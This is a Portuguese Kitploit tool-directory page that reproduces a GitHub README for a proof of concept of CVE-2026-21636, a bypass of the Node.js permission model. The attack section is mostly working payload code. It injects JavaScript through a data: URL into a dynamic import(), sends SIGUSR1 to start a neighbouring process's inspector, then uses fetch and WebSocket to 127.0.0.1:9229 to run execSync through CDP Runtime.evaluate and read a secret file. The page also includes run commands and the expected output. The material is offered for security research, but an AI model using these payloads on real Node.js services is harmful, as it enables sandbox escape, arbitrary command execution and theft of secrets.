Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-21636 — Prova de conceito demonstrando uma bypass do modelo de permissões do Node.js (CVE-2026-21636) que permite acesso à rede via undici/fetch para serviços locais, possibilitando execução arbitrária de código por meio do CDP. | Kitploit
Ferramentas/GitHubGitHub/pauldechassey/cve-2026-21636
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebVirtualização para SegurançaTestes de Penetração
GitHubpauldechassey/cve-2026-21636

CVE-2026-21636

Prova de conceito demonstrando uma bypass do modelo de permissões do Node.js (CVE-2026-21636) que permite acesso à rede via undici/fetch para serviços locais, possibilitando execução arbitrária de código por meio do CDP.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
9há 4 mesesAinda não revisado

CVE-2026-21636 - Bypass do Modelo de Permissões UDS/Rede do Node.js

Resumo da vulnerabilidade

O modelo de permissões do Node.js (--permission) foi projetado para isolar um processo restringindo o acesso ao sistema de arquivos, processos filhos, workers e rede. A CVE-2026-21636 revela que conexões feitas via undici/fetch (e net/tls) para Unix Domain Sockets e endereços TCP locais ignoram completamente a proteção de rede, mesmo quando --allow-net está ausente.

Afetado: Node.js v25 (permissões de rede ainda são experimentais no momento da divulgação).
Este PoC reproduz o conceito na v22, onde o mesmo bypass é observável.

Um atacante que consiga injetar JavaScript arbitrário em um processo executado sob --permission (mas sem --allow-net ou --allow-child-process) pode:

  1. Conectar-se a serviços locais privilegiados que deveriam ser inacessíveis.
  2. Pivotar através desse serviço para executar comandos arbitrários fora do sandbox.

Arquitetura do ambiente

Dois processos são executados lado a lado dentro do contêiner sob supervisord:

target.cjs grava seu próprio PID em /tmp/target.pid na inicialização e depois entra em loop infinito (processo vítima ocioso). server.mjs expõe um servidor Express na porta :8000 com um endpoint /pid e um endpoint vulnerável /language.

/app/secret.txt pertence ao usuário app (chmod 444). Ambos os processos podem acessá-lo no nível do sistema operacional. O exploit não depende de uma barreira de permissão de arquivo — ele demonstra que server.mjs, apesar de --allow-net estar ausente, pode alcançar 127.0.0.1:9229 via fetch()/WebSocket e executar código arbitrário dentro do processo target.cjs sem sandbox. A leitura de secret.txt via CDP é a prova dessa execução de código.

Nota: o que este PoC realmente demonstra

Como server.mjs já é executado com --allow-fs-read=/, ler /app/secret.txt diretamente do processo isolado é trivialmente possível usando apenas a injeção de JS (etapa 1):

root@kitploit:~
import { readFileSync } from 'fs';
export default { secret: readFileSync('/app/secret.txt', 'utf8') };

A leitura do sistema de arquivos não é o objetivo deste PoC. O objetivo é demonstrar a CVE-2026-21636: apesar de --allow-net estar ausente, fetch() (undici) pode estabelecer uma conexão TCP para 127.0.0.1:9229, ignorando completamente a proteção de rede do modelo de permissões. O exploit usa esse bypass para pivotar para o processo target.cjs totalmente sem sandbox via CDP e alcançar execução de código arbitrário fora do sandbox; algo que nenhuma quantidade de --allow-fs-read permitiria.


Ponto de entrada - POST /language

Esta seção está fora do escopo do PoC.

root@kitploit:~
// server.mjs
app.post('/language', async (req, res) => {
    const requested = req.body?.lang ?? 'fr';
    res.json(await import(requested + '/index.js'));
});

O servidor realiza um import() dinâmico em uma string controlada pelo usuário. O import() do Node.js suporta nativamente o esquema de URL data::

root@kitploit:~
data:text/javascript,<JS codificado em percent-encoding>

O sufixo /index.js anexado pelo servidor é neutralizado adicionando // ao final do payload (tratado como comentário de URL / fragmento de caminho ignorado).

Isso permite execução de JavaScript arbitrário dentro do processo isolado — o ponto de entrada para abusar da CVE-2026-21636.


Modelo de permissões - o que é (e não é) permitido

O servidor inicia com:

root@kitploit:~
node --permission --allow-fs-read=/ /app/server.mjs

A intenção: mesmo que um atacante execute código dentro de server.mjs, ele não pode alcançar a rede, gerar processos ou acessar o inspector.

A CVE-2026-21636 quebra a fronteira do --allow-net.


Cadeia de ataque (3 etapas)

Etapa 1 - Obter o PID do alvo

root@kitploit:~
GET /pid  →  { "pid": <N> }

target.cjs grava seu próprio PID em /tmp/target.pid na inicialização. O servidor o expõe. Isso identifica o processo vítima que será usado como relé CDP. Isso também poderia ser feito injetando JS no ponto de entrada; para simplificar, criei o endpoint /pid.


Etapa 2 - Ativar o inspector V8 em target.cjs via SIGUSR1

Payload injetado via POST /language (como URL data:):

root@kitploit:~
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };

Quando um processo Node.js recebe SIGUSR1, ele inicia (ou retoma) seu depurador V8/CDP e começa a escutar em:

root@kitploit:~
127.0.0.1:9229

Como target.cjs é executado sem --permission, seu inspector é totalmente privilegiado — ele pode avaliar qualquer expressão, incluindo require('child_process').execSync(...).

O envio de sinais (process.kill) não é bloqueado pelo modelo de permissões, então esta etapa é bem-sucedida de dentro do sandbox.


Etapa 3 - Conectar ao CDP e executar comandos (CVE-2026-21636)

Segundo payload injetado via POST /language:

root@kitploit:~
// busca a lista de alvos depuráveis da API HTTP do inspector
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();

// em seguida, abre um WebSocket para o endpoint CDP de target.cjs
const result = await new Promise(resolve => {
  const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
  ws.onopen = () => ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: {
      expression: `process.mainModule.require('child_process')
                       .execSync('cat /app/secret.txt').toString()`,
      returnByValue: true
    }
  }));
  ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});

export default result;

Por que isso funciona apesar de --allow-net estar ausente:

fetch() no Node.js é implementado pelo undici. A CVE-2026-21636 mostra que o caminho de conexão do undici para http://127.0.0.1:... (e opções socketPath de UDS) não passa pela verificação de rede do modelo de permissões. O sandbox acredita que nenhum acesso de rede de saída foi feito, mas a conexão TCP para :9229 é bem-sucedida.

A chamada Runtime.evaluate do CDP é executada dentro do processo target.cjs sem sandbox, então require('child_process') está disponível e execSync funciona livremente.


Fluxo completo do exploit

root@kitploit:~
atacante (script Python)
    │
    ├─[1]─ GET  /pid                          → pid = N
    │
    ├─[2]─ POST /language  data:js SIGUSR1    → inspector de target.cjs inicia em :9229
    │
    └─[3]─ POST /language  data:js fetch+WS   → CDP Runtime.evaluate → cat /app/secret.txt
                                                           ↑
                                              Bypass da CVE-2026-21636 aqui
                                              (fetch para 127.0.0.1 sem --allow-net)

Uso

root@kitploit:~
# Compilar e iniciar o ambiente
docker compose up --build -d

# Executar o exploit
python3 exploit.py

Saída esperada:

root@kitploit:~
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!

Referências

  • NVD - CVE-2026-21636
  • Documentação do Modelo de Permissões do Node.js
  • Protocolo V8 Inspector / CDP
  • undici - Cliente HTTP integrado do Node.js
Baixar ferramenta
ProcessoUsuárioFlagsCapacidades
target.cjsappnenhumaAPI completa do Node.js, sem sandbox
server.mjsapp--permission --allow-fs-read=/leitura completa do FS — sem rede, sem child_process, sem worker
PermissãoStatus
--allow-fs-read=/concedida (leitura completa)
--allow-fs-writenegada
--allow-netnegada (experimental, não definida)
--allow-child-processnegada
--allow-workernegada
--allow-inspectornegada